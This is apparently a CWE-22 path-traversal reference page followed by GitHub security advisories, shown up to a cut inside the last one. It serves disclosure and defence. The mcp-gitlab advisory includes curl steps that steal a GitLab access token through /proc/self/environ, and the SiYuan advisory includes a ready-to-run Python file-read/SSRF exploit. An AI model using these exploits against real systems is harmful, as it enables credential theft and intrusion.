CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16153 vulnerabilities reference this CWE, most recent first.
GHSA-CV3M-HXPC-4HVM
Vulnerability from github – Published: 2025-11-20 15:30 – Updated: 2025-11-20 17:57A security vulnerability has been detected in Dreampie Resty versions up to the 1.3.1.SNAPSHOT. This affects the function Request of the file /resty-httpclient/src/main/java/cn/dreampie/client/HttpClient.java of the component HttpClient Module. Such manipulation of the argument filename leads to path traversal. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is reported as difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "cn.dreampie:resty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.1.SNAPSHOT"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-13435"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-20T17:57:02Z",
"nvd_published_at": "2025-11-20T15:17:24Z",
"severity": "LOW"
},
"details": "A security vulnerability has been detected in Dreampie Resty versions up to the 1.3.1.SNAPSHOT. This affects the function Request of the file /resty-httpclient/src/main/java/cn/dreampie/client/HttpClient.java of the component HttpClient Module. Such manipulation of the argument filename leads to path traversal. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is reported as difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-cv3m-hxpc-4hvm",
"modified": "2025-11-20T17:57:03Z",
"published": "2025-11-20T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13435"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dreampie/resty"
},
{
"type": "WEB",
"url": "https://github.com/Xzzz111/exps/blob/main/archives/Resty-PathTraversal-01/cve_application.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.332979"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.332979"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.687603"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Resty has a Path Traversal vulnerability"
}
GHSA-CV3R-C5H8-F4G5
Vulnerability from github – Published: 2026-09-16 13:48 – Updated: 2026-09-16 13:48Summary
The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.
Details
Two issues chain together:
1. No authentication on SSE transport (src/index.ts:7350-7388)
When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.
// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
const serverInstance = createServer();
const transport = new SSEServerTransport("/messages", res);
await serverInstance.connect(transport);
});
Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.
2. Arbitrary file read in upload_markdown (src/index.ts:5461-5503)
The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.
async function markdownUpload(projectId: string, filePath: string) {
if (!fs.existsSync(filePath)) {
throw new Error(`File not found: ${filePath}`);
}
const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation
// ... uploads to GitLab project via POST /projects/:id/uploads
}
This tool is in the users toolset, which is enabled by default.
Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.
PoC
Prerequisites:
- A running @zereight/mcp-gitlab instance with SSE=true and GITLAB_PERSONAL_ACCESS_TOKEN set (this is the default Docker deployment config)
- Network access to the server's port (default: 3002)
- A GitLab project ID the PAT has write access to (use list_projects to enumerate)
Steps:
# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')
# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "list_projects",
"arguments": {"owned": true}
}
}'
# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
# and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "upload_markdown",
"arguments": {
"project_id": "<WRITABLE_PROJECT_ID>",
"file_path": "/proc/self/environ"
}
}
}'
# 4. The response contains a GitLab upload URL like:
# {"markdown": "", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"
# 6. The file contains NUL-separated environment variables including:
# GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"
Other exfiltrable targets (running as root in Docker):
| File | Contents |
|---|---|
/proc/self/environ |
All env vars including GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx |
/proc/self/cmdline |
Command line args (token if passed via CLI) |
/etc/shadow |
System password hashes |
/app/build/index.js |
Full application source code |
~/.gitlab-mcp-token.json |
OAuth tokens (if OAuth mode was used) |
Impact
Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@zereight/mcp-gitlab"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61560"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T13:48:28Z",
"nvd_published_at": "2026-09-15T22:16:58Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server\u0027s local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments.\n\n### Details\n\nTwo issues chain together:\n\n**1. No authentication on SSE transport (`src/index.ts:7350-7388`)**\n\nWhen `SSE=true` (the intended mode for Docker deployments per `docker-compose.yaml`), the `/sse` and `/messages` endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server\u0027s configured PAT.\n\n```typescript\n// src/index.ts:7354 \u2014 no auth check\napp.get(\"/sse\", async (_: Request, res: Response) =\u003e {\n const serverInstance = createServer();\n const transport = new SSEServerTransport(\"/messages\", res);\n await serverInstance.connect(transport);\n});\n```\n\nRemote Authorization (`REMOTE_AUTHORIZATION=true`) is explicitly incompatible with SSE mode (`src/index.ts:1833-1839`), so there is no way to add per-request auth in this transport.\n\n**2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)**\n\nThe `upload_markdown` tool calls `fs.readFileSync(filePath)` where `filePath` comes directly from user input with no validation. The Zod schema (`src/schemas.ts:2150-2153`) defines `file_path` as `z.string()` with no path restrictions, allowlists, or sandboxing.\n\n```typescript\nasync function markdownUpload(projectId: string, filePath: string) {\n if (!fs.existsSync(filePath)) {\n throw new Error(`File not found: ${filePath}`);\n }\n const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read \u2014 no path validation\n // ... uploads to GitLab project via POST /projects/:id/uploads\n}\n```\n\nThis tool is in the `users` toolset, which is **enabled by default**.\n\n**Docker amplification:** The `Dockerfile` has no `USER` directive, so the process runs as root. The `docker-compose.yaml` maps `3002:3002`, which binds `0.0.0.0` by default, exposing the unauthenticated endpoint to the network.\n\n### PoC\n\n**Prerequisites:**\n- A running `@zereight/mcp-gitlab` instance with `SSE=true` and `GITLAB_PERSONAL_ACCESS_TOKEN` set (this is the default Docker deployment config)\n- Network access to the server\u0027s port (default: 3002)\n- A GitLab project ID the PAT has write access to (use `list_projects` to enumerate)\n\n**Steps:**\n\n```bash\n# 1. Connect to the unauthenticated SSE endpoint and capture the session ID\nSESSION_ID=$(curl -s -N http://\u003cHOST\u003e:3002/sse | head -1 | grep -oP \u0027sessionId=\\K[^\u0026\\s]+\u0027)\n\n# 2. (Optional) Enumerate accessible projects to find a writable project ID\ncurl -X POST \"http://\u003cHOST\u003e:3002/messages?sessionId=$SESSION_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"list_projects\",\n \"arguments\": {\"owned\": true}\n }\n }\u0027\n\n# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)\n# and upload it to a GitLab project\ncurl -X POST \"http://\u003cHOST\u003e:3002/messages?sessionId=$SESSION_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"upload_markdown\",\n \"arguments\": {\n \"project_id\": \"\u003cWRITABLE_PROJECT_ID\u003e\",\n \"file_path\": \"/proc/self/environ\"\n }\n }\n }\u0027\n\n# 4. The response contains a GitLab upload URL like:\n# {\"markdown\": \"\", \"url\": \"/uploads/abc123def456/environ\"}\n#\n# 5. Retrieve the uploaded file from GitLab:\ncurl \"https://gitlab.example.com/\u003cnamespace\u003e/\u003cproject\u003e/uploads/abc123def456/environ\"\n\n# 6. The file contains NUL-separated environment variables including:\n# GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx\n#\n# 7. Use the stolen PAT for full GitLab API access:\ncurl -H \"Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx\" \"https://gitlab.example.com/api/v4/user\"\n```\n\n**Other exfiltrable targets (running as root in Docker):**\n\n| File | Contents |\n|---|---|\n| `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` |\n| `/proc/self/cmdline` | Command line args (token if passed via CLI) |\n| `/etc/shadow` | System password hashes |\n| `/app/build/index.js` | Full application source code |\n| `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) |\n\n### Impact\n\n**Unauthenticated full GitLab account takeover.** Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments",
"id": "GHSA-cv3r-c5h8-f4g5",
"modified": "2026-09-16T13:48:28Z",
"published": "2026-09-16T13:48:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61560"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/pull/482"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/pull/554"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/pull/622"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976"
},
{
"type": "PACKAGE",
"url": "https://github.com/zereight/gitlab-mcp"
},
{
"type": "WEB",
"url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover"
}
GHSA-CV3W-G9V5-CC63
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18Gridpro Request Management for Windows Azure Pack before 2.0.7912 allows Directory Traversal for remote code execution, as demonstrated by ..\ in a scriptName JSON value to ServiceManagerTenant/GetVisibilityMap.
{
"affected": [],
"aliases": [
"CVE-2021-40371"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-25T07:15:00Z",
"severity": "CRITICAL"
},
"details": "Gridpro Request Management for Windows Azure Pack before 2.0.7912 allows Directory Traversal for remote code execution, as demonstrated by ..\\\\ in a scriptName JSON value to ServiceManagerTenant/GetVisibilityMap.",
"id": "GHSA-cv3w-g9v5-cc63",
"modified": "2022-05-24T19:18:49Z",
"published": "2022-05-24T19:18:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40371"
},
{
"type": "WEB",
"url": "https://www.gridprosoftware.com/products/requestmanagement"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164621/GridPro-Request-Management-For-Windows-Azure-Pack-2.0.7905-Directory-Traversal.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Oct/33"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CV54-7WV7-QXCW
Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02Summary
Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile:
FROM b3log/siyuan
ENV TZ=America/New_York \
PUID=1000 \
PGID=1000 \
SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword
RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh
RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
startup.sh
#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh
docker-compose.yaml:
services:
main:
build: .
ports:
- 6806:6806
restart: unless-stopped
environment:
- TZ=America/New_York
- PUID=1000
- PGID=1000
container_name: archivists_whisper
Details
As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886
in createDocWithMd function
the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization
while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too
PoC
Here is a full Python POC ready to run
import requests, sys, os
if len(sys.argv) >= 5 :
TARGET = sys.argv[1].rstrip("/")
PASSWORD = sys.argv[2]
attack_type = sys.argv[3]
if attack_type == "LFD":
file_path = f"file://{sys.argv[4]}"
elif attack_type == "SSRF":
file_path = f"{sys.argv[4]}"
else:
sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
TARGET = "http://127.0.0.1:6806"
PASSWORD = "SuperSecretPassword" # Workgroup password
file_path = "/etc/passwd" # file to read
s = requests.Session()
def login():
s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def list_notebooks():
res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
notebooks = res["data"]["notebooks"]
if not notebooks:
raise RuntimeError("No notebooks found – create one in the UI first")
notebook = notebooks[0]["id"]
return notebook
def file_to_md(notebook, file_path):
doc_id = s.post(
f"{TARGET}/api/filetree/createDocWithMd",
json={
"notebook": notebook,
"path": "/pwn",
"markdown": f"[loot]({file_path})"
},
).json()["data"]
return doc_id
def convert_file_to_asset(doc_id):
res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
# print(f"Debug : convert", res.text)
def get_new_file_name_from_assets(file_path):
res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
if attack_type == "LFD":
new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
else:
new_file_name = f"network-asset-{os.path.basename(file_path)}-"
# print(new_file_name)
for file in res:
# print(file["name"])
if new_file_name in file["name"]:
return file["name"]
def retrieve_file_content(file_name):
return s.get(f"{TARGET}/assets/{file_name}").text
login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
print("Content : ", file_content)
else:
print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")
File read
SSRF :
We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
Impact
As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
Solution
https://github.com/siyuan-note/siyuan/issues/16860
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260118092326-b2274baba2e1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23850"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:02:00Z",
"nvd_published_at": "2026-01-19T20:15:49Z",
"severity": "HIGH"
},
"details": "### Summary\nMarkdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access\nWe in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )\n\nPlease note that we used the latest Version and deployed it via this dockerfile : \n\nDockerfile:\n```\nFROM b3log/siyuan\n\nENV TZ=America/New_York \\\n PUID=1000 \\\n PGID=1000 \\\n SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword\n \nRUN mkdir -p /siyuan/workspace\n\nCOPY ./startup.sh /opt/siyuan/startup.sh\nRUN chmod +x /opt/siyuan/startup.sh\n\nEXPOSE 6806\n\nENTRYPOINT [\"sh\", \"-c\", \"/opt/siyuan/startup.sh\"]\n```\n\nstartup.sh\n```sh\n#!/bin/sh\nset -e\necho \"nullctf{secret}\" \u003e \"/flag_random.txt\"\nexec ./entrypoint.sh\n\n```\ndocker-compose.yaml:\n\n```yaml\nservices:\n main:\n build: .\n ports:\n - 6806:6806\n restart: unless-stopped\n environment:\n - TZ=America/New_York\n - PUID=1000\n - PGID=1000\n container_name: archivists_whisper\n```\n### Details\nAs you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886\nin `createDocWithMd` function\nthe `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization \nwhile here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too\n\n### PoC\nHere is a full Python POC ready to run \n```py\nimport requests, sys, os\n\nif len(sys.argv) \u003e= 5 :\n TARGET = sys.argv[1].rstrip(\"/\")\n PASSWORD = sys.argv[2]\n attack_type = sys.argv[3]\n if attack_type == \"LFD\":\n file_path = f\"file://{sys.argv[4]}\"\n elif attack_type == \"SSRF\":\n file_path = f\"{sys.argv[4]}\"\nelse:\n sys.exit(f\"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link\")\n TARGET = \"http://127.0.0.1:6806\"\n PASSWORD = \"SuperSecretPassword\" # Workgroup password\n file_path = \"/etc/passwd\" # file to read\n\ns = requests.Session()\n\ndef login():\n s.post(f\"{TARGET}/api/system/loginAuth\", json={\"authCode\": PASSWORD, \"rememberMe\": True})\n\n\ndef list_notebooks():\n res = s.post(f\"{TARGET}/api/notebook/lsNotebooks\").json()\n notebooks = res[\"data\"][\"notebooks\"]\n if not notebooks:\n raise RuntimeError(\"No notebooks found \u2013 create one in the UI first\")\n notebook = notebooks[0][\"id\"]\n return notebook\n\ndef file_to_md(notebook, file_path):\n doc_id = s.post(\n f\"{TARGET}/api/filetree/createDocWithMd\",\n json={\n \"notebook\": notebook,\n \"path\": \"/pwn\",\n \"markdown\": f\"[loot]({file_path})\"\n },\n ).json()[\"data\"]\n return doc_id\n\ndef convert_file_to_asset(doc_id):\n res = s.post(f\"{TARGET}/api/format/netAssets2LocalAssets\", json={\"id\": doc_id})\n # print(f\"Debug : convert\", res.text)\n\ndef get_new_file_name_from_assets(file_path):\n res = s.post(f\"{TARGET}/api/file/readDir\", json={\"path\": \"/data/assets\"}).json()[\"data\"]\n if attack_type == \"LFD\":\n new_file_name = f\"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-\"\n else:\n new_file_name = f\"network-asset-{os.path.basename(file_path)}-\"\n # print(new_file_name)\n for file in res:\n # print(file[\"name\"])\n if new_file_name in file[\"name\"]:\n return file[\"name\"]\n \n\ndef retrieve_file_content(file_name):\n return s.get(f\"{TARGET}/assets/{file_name}\").text\n\n\nlogin()\nnotebook = list_notebooks()\ndoc_id = file_to_md(notebook, file_path)\n# print(f\"Debug : Docid\", doc_id)\nconvert_file_to_asset(doc_id)\nfile_name = get_new_file_name_from_assets(file_path)\nfile_content = retrieve_file_content(file_name)\nif len(file_content) \u003e 0 :\n print(\"Content : \", file_content)\nelse:\n print(f\"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name\")\n```\n\n### File read\n\u003cimg width=\"928\" height=\"333\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb\" /\u003e\n\u003cimg width=\"800\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a\" /\u003e\n\n### SSRF : \nWe spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy\n\n\u003cimg width=\"822\" height=\"63\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf\" /\u003e\n\n\n### Impact\nAs shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )\n\n### 